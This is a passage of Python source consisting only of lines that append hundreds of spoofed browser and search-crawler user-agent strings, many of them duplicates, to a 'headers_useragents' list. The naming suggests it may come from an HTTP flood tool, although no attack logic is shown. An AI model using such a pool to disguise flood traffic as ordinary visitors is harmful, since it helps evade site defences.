  1606.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1607.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1608.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1609.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1610.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1611.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1612.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1613.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1614.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1615.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1616.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1617.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1618.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1619.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1620.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1621.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1622.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1623.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1624.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1625.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1626.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1627.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1628.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1629.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1630.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1631.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1632.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1633.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1634.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1635.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1636.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1637.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1638.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1639.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1640.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1641.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1642.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1643.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1644.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1645.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1646.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1647.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1648.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1649.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1650.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1651.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1652.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1653.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1654.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1655.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1656.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1657.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1658.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1659.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1660.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1661.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1662.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1663.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1664.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1665.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1666.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1667.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1668.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1669.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1670.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1671.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1672.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1673.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1674.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1675.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1676.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1677.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1678.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1679.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1682.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1683.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1684.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1685.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1686.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1687.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1688.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1689.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1690.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1691.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1692.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1693.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1694.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1695.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1696.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1698.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1699.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1700.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1702.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1703.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1704.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1705.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1706.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1707.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1708.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1709.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1710.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1711.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1712.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1713.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1715.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1716.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1717.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1718.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1719.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1720.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1721.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1722.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1723.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1724.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1725.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1727.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1728.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1729.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1730.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1731.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1732.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1733.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1734.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1735.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1736.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1737.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1738.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1739.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1740.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1741.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1742.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1743.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1744.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1745.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1746.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1747.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1748.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1749.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1750.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1751.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1752.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1753.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1754.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1755.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1756.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1757.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1758.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1759.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1760.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1762.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1763.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1764.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1765.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1766.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1767.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1768.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1769.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1770.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1771.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1772.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1774.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1775.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1776.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1777.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1778.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1779.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1780.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1782.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1783.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1784.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1785.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1786.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1787.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1788.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1789.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1790.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1791.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1792.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1793.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1794.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1795.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1796.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1797.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1798.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1799.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1800.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1801.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1802.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
